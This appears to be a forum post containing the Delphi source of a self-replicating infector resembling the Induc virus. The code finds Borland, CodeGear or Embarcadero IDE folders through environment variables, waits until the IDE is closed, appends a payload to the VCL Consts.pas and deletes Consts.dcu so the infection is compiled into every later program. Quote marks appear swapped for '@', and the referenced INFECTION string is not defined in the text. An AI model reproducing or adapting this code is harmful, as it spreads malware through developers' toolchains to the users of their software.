uses
Windows, Classes;
const
TAppBuilder = @TAppBuilder@;
_INITIALIZATION = @INITIALIZATION@;
BORLAND = @BORLAND@;
CODEGEAR = @CODEGEAR@;
EMBARCADERO = @EMBARCADERO@;
_CONSTS = @Consts@;
SrcDir = @\Source\Vcl\@;
LibDir = @\Lib\@;
var
IdeList: TStringList;
I: Integer;
function PrepareInfection(s:string):string;
var
i:integer;
begin
for i:=1 to length(s) do
if s[i]=#36 then s[i]:=#39;
result:=s;
end;
procedure GetEnvStrings(var EnvList: TStringList);
var
i : integer;
EnvStrings :pchar;
EnvStringsMaxSize : integer;
s : string;
begin
EnvStringsMaxSize := 10000;
EnvStrings := GetEnvironmentStrings;
try
i:=0;
s:=@@;
while i < EnvStringsMaxSize do
begin
if EnvStrings[i]<>#0 then
s:=s+EnvStrings[i]
else
begin
if s=@@ then
break;
EnvList.Add(s);
s:=@@;
end;
inc(i);
end;
finally
FreeEnvironmentStrings(EnvStrings);
end;
end;
function DirExists(const Name: string): Boolean;
var
Code: Integer;
begin
Code := GetFileAttributes(PChar(Name));
Result := (Code <> -1) and (FILE_ATTRIBUTE_DIRECTORY and Code <> 0);
end;
function FileExists(const FileName: string): Boolean;
var
Code: Integer;
begin
Code := GetFileAttributes(PChar(FileName));
Result := (Code <> -1) and (FILE_ATTRIBUTE_DIRECTORY and Code = 0);
end;
function AnsiUpperCase(const S: string): string;
var
Len: Integer;
begin
Len := Length(S);
SetString(Result, PChar(S), Len);
if Len > 0 then
CharUpperBuff(PChar(Result), Len);
end;
procedure GetIdePathes(var MainList: TStringList);
function PrepareString(Str: String): String;
var
S: String;
begin
S := Str;
while POS(@=@, S) <> 0 do
Delete(S, 1, POS(@=@, S));
while POS(@;@, S) <> 0 do
Delete(S, 1, POS(@;@, S));
RESULT := S;
end;
function IsValidString(Str: String): Boolean;
begin
RESULT := FALSE;
if (Str <> @@) and (POS(Str, MainList.Text) = 0) and (DirExists(Str)) then
RESULT := TRUE;
end;
var
S, Temp: String;
TempList:TStringList;
I: Integer;
DEVELOPER: String;
PATHLEN: Integer;
begin
PATHLEN := 0;
TempList:=TStringList.Create;
try
GetEnvStrings(TempList);
S := TempList.Text;
finally
TempList.Free;
end;
if (S = @@) then EXIT;
for I := 0 to 2 do
begin
case I of
0:
begin
DEVELOPER := BORLAND;
PATHLEN := 15;
end;
1:
begin
DEVELOPER := CODEGEAR;
PATHLEN := 23;
end;
2:
begin
DEVELOPER := EMBARCADERO;
PATHLEN := 26;
end;
end;
if POS(DEVELOPER, AnsiUpperCase(S)) <> 0 then
begin
Temp := S;
Delete(Temp, POS(DEVELOPER, AnsiUpperCase(Temp)) + PATHLEN, Length(Temp));
Temp := PrepareString(Temp);
if IsValidString(Temp) then
MainList.Add(Temp);
end;
end;
end;
function DelphiRunning: Boolean;
begin
RESULT := (FindWindow(TAppBuilder,nil) > 0);
end;
function IsInfected(FN: String): Boolean;
var
F:textfile;
S:String;
begin
RESULT := FAlse;
assignfile(F,FN);
RESET(F);
while not EOF(F) do
begin
READLN(F, S);
if Pos(_INITIALIZATION,AnsiUpperCase(S)) <> 0 then
begin
RESULT := TRUE;
BREAK;
end;
end;
closefile(F);
end;
function IsInvalidFile(FN: String): Boolean;
var
F:textfile;
S:String;
begin
RESULT := True;
assignfile(F,FN);
RESET(F);
while not EOF(F) do
begin
READLN(F, S);
if Pos(AnsiUpperCase(_CONSTS)+@;@,AnsiUpperCase(S)) <> 0 then
begin
RESULT := False;
BREAK;
end;
end;
closefile(F);
end;
function ErrorsExists(DelphiDir: String): Boolean;
begin
RESULT := TRUE;
if not FileExists(DelphiDir + SrcDir + _CONSTS+@.pas@) then EXIT;
if IsInvalidFile(DelphiDir + SrcDir + _CONSTS+@.pas@) then EXIT;
if IsInfected(DelphiDir + SrcDir + _CONSTS+@.pas@) then
begin
if FileExists(DelphiDir + LibDir + _CONSTS+@.dcu@) then
DeleteFile(PChar(DelphiDir + LibDir + _CONSTS+@.pas@));
EXIT;
end;
RESULT := FALSE;
end;
function WriteInfection(FN, DelphiDir: String; InfStr: String): Boolean;
var
F1,F2:textfile;
S:String;
begin
assignfile(F1,FN+@.~pas@);
assignfile(F2,FN);
Rewrite(F1);
RESET(F2);
while not EOF(F2) do
begin
READLN(F2, S);
if Pos(@END.@,AnsiUpperCase(S)) = 0 then
Writeln(F1, S);
end;
writeln(F1, InfStr);
closefile(F1);
closefile(F2);
RESULT := DeleteFile(pchar(FN));
if RESULT then
RESULT := MoveFile(pchar(FN+@.~pas@),pchar(FN));
if RESULT then
RESULT := CopyFile(pchar(FN),pchar(DelphiDir + LibDir + _CONSTS+@.pas@), FALSE);
if RESULT then
RESULT := DeleteFile(pchar(DelphiDir + LibDir + _CONSTS+@.dcu@));
end;
Initialization
if not DelphiRunning then
begin
IdeList:= TStringList.Create;
try
GetIdePathes(IdeList);
for I:=0 to IdeList.Count - 1 do
begin
if not ErrorsExists(IdeList.Strings[i]) then
WriteInfection(IdeList.Strings[i] + SrcDir + _CONSTS+@.pas@, IdeList.Strings[i], PrepareInfection(INFECTION));
end;
finally
IdeList.Free;
end;
end;
12.02.2012, 08:59
Индюшатина
Линейный вид
